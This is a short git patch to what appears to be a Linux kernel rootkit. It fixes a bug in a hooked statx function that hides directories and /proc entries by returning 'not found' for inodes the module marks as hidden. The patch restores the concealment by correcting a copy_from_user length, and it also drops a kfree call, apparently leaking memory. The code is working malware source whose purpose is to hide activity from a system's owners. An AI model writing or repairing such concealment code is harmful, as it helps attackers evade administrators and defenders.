From e2e40934c7241f37d9b589328a4c1d995ea49f05 Mon Sep 17 00:00:00 2001 From: JNE Date: Sat, 21 Dec 2024 11:02:36 +0000 Subject: [PATCH] sys: Fix issue with /proc UI visibility When started using heap for filename, missed to replace sizeof() from copy_from_user, therefore it was copying up to 8 bytes only. --- src/sys.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/src/sys.c b/src/sys.c index 4bf805c..428bc77 100644 --- a/src/sys.c +++ b/src/sys.c @@ -1027,8 +1027,7 @@ static long m_vfs_statx(int dfd, struct filename *filename, int flags, struct ks * */ #if LINUX_VERSION_CODE < KERNEL_VERSION(5,18,0) - if (!name) goto leave; - if (!copy_from_user((void*)name, filename, sizeof(name)-1)) { + if (name != NULL && !copy_from_user((void*)name, filename, PROCNAME_MAXLEN-1)) { #endif if (strlen(name) > 0 && S_ISDIR(stat->mode)) { int count = fs_is_dir_inode_hidden((const char *)name, stat->ino); @@ -1042,10 +1041,8 @@ static long m_vfs_statx(int dfd, struct filename *filename, int flags, struct ks rv = -ENOENT; } #if LINUX_VERSION_CODE < KERNEL_VERSION(5,18,0) - } - if (name) kfree(name); -leave: + } #endif return rv; }